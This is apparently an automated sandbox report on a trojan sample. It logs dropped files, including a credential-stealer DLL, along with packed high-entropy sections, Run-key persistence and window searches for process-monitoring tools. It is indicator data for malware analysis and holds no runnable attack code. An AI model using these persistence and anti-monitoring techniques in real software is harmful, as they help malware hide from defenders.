Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Section loaded: wininet.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office

Jump to behavior

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Static file information: File size 3086848 > 1048576

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Static PE information: Raw size of byqduimw is bigger than: 0x100000 < 0x2c1600

Source:

Binary string: D:\Mktmp\StealerDLL\x64\Release\STEALERDLL.pdb source: cred64[1].dll.6.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Unpacked PE file: 0.2.SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe.b00000.0.unpack :EW;.rsrc:W;.idata :W;byqduimw:EW;otarkcdf:EW; vs :ER;.rsrc:W;.idata :W;byqduimw:EW;otarkcdf:EW;
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Unpacked PE file: 1.2.explorha.exe.480000.0.unpack :EW;.rsrc:W;.idata :W;byqduimw:EW;otarkcdf:EW; vs :ER;.rsrc:W;.idata :W;byqduimw:EW;otarkcdf:EW;
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Unpacked PE file: 2.2.explorha.exe.480000.0.unpack :EW;.rsrc:W;.idata :W;byqduimw:EW;otarkcdf:EW; vs :ER;.rsrc:W;.idata :W;byqduimw:EW;otarkcdf:EW;
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Unpacked PE file: 6.2.explorha.exe.480000.0.unpack :EW;.rsrc:W;.idata :W;byqduimw:EW;otarkcdf:EW; vs :ER;.rsrc:W;.idata :W;byqduimw:EW;otarkcdf:EW;
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Unpacked PE file: 14.2.ad0e9cf6d6.exe.100000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW; vs :ER;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW;
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Unpacked PE file: 19.2.MPGPH131.exe.9a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW; vs :ER;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW;
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Unpacked PE file: 20.2.MPGPH131.exe.9a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW; vs :ER;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW;
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Unpacked PE file: 22.2.ad0e9cf6d6.exe.100000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW; vs :ER;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW;
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Unpacked PE file: 24.2.amert.exe.4a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nrhwmcml:EW;cbtiwtyd:EW; vs :ER;.rsrc:W;.idata :W; :EW;nrhwmcml:EW;cbtiwtyd:EW;
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Unpacked PE file: 25.2.explorgu.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nrhwmcml:EW;cbtiwtyd:EW; vs :ER;.rsrc:W;.idata :W; :EW;nrhwmcml:EW;cbtiwtyd:EW;
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Unpacked PE file: 26.2.RageMP131.exe.e30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW; vs :ER;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW;
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Unpacked PE file: 27.2.ad0e9cf6d6.exe.100000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW; vs :ER;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW;
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Unpacked PE file: 28.2.RageMP131.exe.e30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW; vs :ER;.rsrc:W;.idata :W; :EW;kmmiqwbd:EW;fznmywdp:EW;
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Unpacked PE file: 29.2.explorgu.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nrhwmcml:EW;cbtiwtyd:EW; vs :ER;.rsrc:W;.idata :W; :EW;nrhwmcml:EW;cbtiwtyd:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: otarkcdf

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Static PE information: section name: .idata
Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Static PE information: section name: byqduimw
Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Static PE information: section name: otarkcdf
Source: explorha.exe.0.dr	Static PE information: section name:
Source: explorha.exe.0.dr	Static PE information: section name: .idata
Source: explorha.exe.0.dr	Static PE information: section name: byqduimw
Source: explorha.exe.0.dr	Static PE information: section name: otarkcdf
Source: ad0e9cf6d6.exe.6.dr	Static PE information: section name:
Source: ad0e9cf6d6.exe.6.dr	Static PE information: section name: .idata
Source: ad0e9cf6d6.exe.6.dr	Static PE information: section name:
Source: ad0e9cf6d6.exe.6.dr	Static PE information: section name: kmmiqwbd
Source: ad0e9cf6d6.exe.6.dr	Static PE information: section name: fznmywdp
Source: cred64[1].dll.6.dr	Static PE information: section name: _RDATA
Source: cred64.dll.6.dr	Static PE information: section name: _RDATA
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name: .idata
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name: plzndgzq
Source: sarra[1].exe.6.dr	Static PE information: section name: imnknifl
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert[1].exe.6.dr	Static PE information: section name: .idata
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert[1].exe.6.dr	Static PE information: section name: nrhwmcml
Source: amert[1].exe.6.dr	Static PE information: section name: cbtiwtyd
Source: amert.exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name: .idata
Source: amert.exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name: nrhwmcml
Source: amert.exe.6.dr	Static PE information: section name: cbtiwtyd
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: kmmiqwbd
Source: random[1].exe0.6.dr	Static PE information: section name: fznmywdp
Source: RageMP131.exe.14.dr	Static PE information: section name:
Source: RageMP131.exe.14.dr	Static PE information: section name: .idata
Source: RageMP131.exe.14.dr	Static PE information: section name:
Source: RageMP131.exe.14.dr	Static PE information: section name: kmmiqwbd
Source: RageMP131.exe.14.dr	Static PE information: section name: fznmywdp
Source: MPGPH131.exe.14.dr	Static PE information: section name:
Source: MPGPH131.exe.14.dr	Static PE information: section name: .idata
Source: MPGPH131.exe.14.dr	Static PE information: section name:
Source: MPGPH131.exe.14.dr	Static PE information: section name: kmmiqwbd
Source: MPGPH131.exe.14.dr	Static PE information: section name: fznmywdp
Source: explorgu.exe.24.dr	Static PE information: section name:
Source: explorgu.exe.24.dr	Static PE information: section name: .idata
Source: explorgu.exe.24.dr	Static PE information: section name:
Source: explorgu.exe.24.dr	Static PE information: section name: nrhwmcml
Source: explorgu.exe.24.dr	Static PE information: section name: cbtiwtyd

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D034 push ecx; mov dword ptr [esp], 350DAB43h	0_2_00E2D044
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D034 push edi; mov dword ptr [esp], 5D8F0098h	0_2_00E2D0E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D034 push 41271905h; mov dword ptr [esp], esi	0_2_00E2D114
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D000 push 524417C7h; mov dword ptr [esp], esi	0_2_00E2D005
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D000 push eax; mov dword ptr [esp], 57B86D65h	0_2_00E2D013
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D000 push edx; mov dword ptr [esp], 571ECD59h	0_2_00E2D021
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D000 push ecx; mov dword ptr [esp], 350DAB43h	0_2_00E2D044
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D000 push edi; mov dword ptr [esp], 5D8F0098h	0_2_00E2D0E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D000 push 41271905h; mov dword ptr [esp], esi	0_2_00E2D114
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00B129A0 push esp; ret	0_2_00B129A1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D184 push 2910D7E3h; mov dword ptr [esp], edx	0_2_00E2D189
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D184 push 15830EA0h; mov dword ptr [esp], ebp	0_2_00E2D1A6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D184 push edi; mov dword ptr [esp], 682C439Fh	0_2_00E2D1B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D184 push ecx; mov dword ptr [esp], esi	0_2_00E2D1D1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00E2D184 push ebp; mov dword ptr [esp], 00000000h	0_2_00E2D24B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00B09420 push ebx; ret	0_2_00B0942A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00B08DE6 push esi; iretd	0_2_00B08DE7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00B1EFBC push ecx; ret	0_2_00B1EFCF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_050005BD push 0000005Bh; retn 0004h	0_2_050005C4
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_007AD034 push ecx; mov dword ptr [esp], 350DAB43h	1_2_007AD044
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_007AD034 push edi; mov dword ptr [esp], 5D8F0098h	1_2_007AD0E4
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_007AD034 push 41271905h; mov dword ptr [esp], esi	1_2_007AD114
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_007AD000 push 524417C7h; mov dword ptr [esp], esi	1_2_007AD005
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_007AD000 push eax; mov dword ptr [esp], 57B86D65h	1_2_007AD013
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_007AD000 push edx; mov dword ptr [esp], 571ECD59h	1_2_007AD021
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_007AD000 push ecx; mov dword ptr [esp], 350DAB43h	1_2_007AD044
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_007AD000 push edi; mov dword ptr [esp], 5D8F0098h	1_2_007AD0E4
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_007AD000 push 41271905h; mov dword ptr [esp], esi	1_2_007AD114
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_0048C0E8 push cs; retn 0002h	1_2_0048C0E9
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_007AD184 push 2910D7E3h; mov dword ptr [esp], edx	1_2_007AD189
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_007AD184 push 15830EA0h; mov dword ptr [esp], ebp	1_2_007AD1A6

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Static PE information: section name: entropy: 7.985971961341056
Source: explorha.exe.0.dr	Static PE information: section name: entropy: 7.985971961341056
Source: ad0e9cf6d6.exe.6.dr	Static PE information: section name: entropy: 7.93014511868909
Source: ad0e9cf6d6.exe.6.dr	Static PE information: section name: kmmiqwbd entropy: 7.94902151526135
Source: sarra[1].exe.6.dr	Static PE information: section name: entropy: 7.93021329597093
Source: sarra[1].exe.6.dr	Static PE information: section name: plzndgzq entropy: 7.949874622894616
Source: amert[1].exe.6.dr	Static PE information: section name: entropy: 7.9828707618989405
Source: amert[1].exe.6.dr	Static PE information: section name: nrhwmcml entropy: 7.953187785873698
Source: amert.exe.6.dr	Static PE information: section name: entropy: 7.9828707618989405
Source: amert.exe.6.dr	Static PE information: section name: nrhwmcml entropy: 7.953187785873698
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.93014511868909
Source: random[1].exe0.6.dr	Static PE information: section name: kmmiqwbd entropy: 7.94902151526135
Source: RageMP131.exe.14.dr	Static PE information: section name: entropy: 7.93014511868909
Source: RageMP131.exe.14.dr	Static PE information: section name: kmmiqwbd entropy: 7.94902151526135
Source: MPGPH131.exe.14.dr	Static PE information: section name: entropy: 7.93014511868909
Source: MPGPH131.exe.14.dr	Static PE information: section name: kmmiqwbd entropy: 7.94902151526135
Source: explorgu.exe.24.dr	Static PE information: section name: entropy: 7.9828707618989405
Source: explorgu.exe.24.dr	Static PE information: section name: nrhwmcml entropy: 7.953187785873698

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000051001\b977f667d6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sarra[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	File created: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	File created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe

File created: C:\ProgramData\MPGPH131\MPGPH131.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ad0e9cf6d6.exe			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Window searched: window name: PROCMON_WINDOW_CLASS
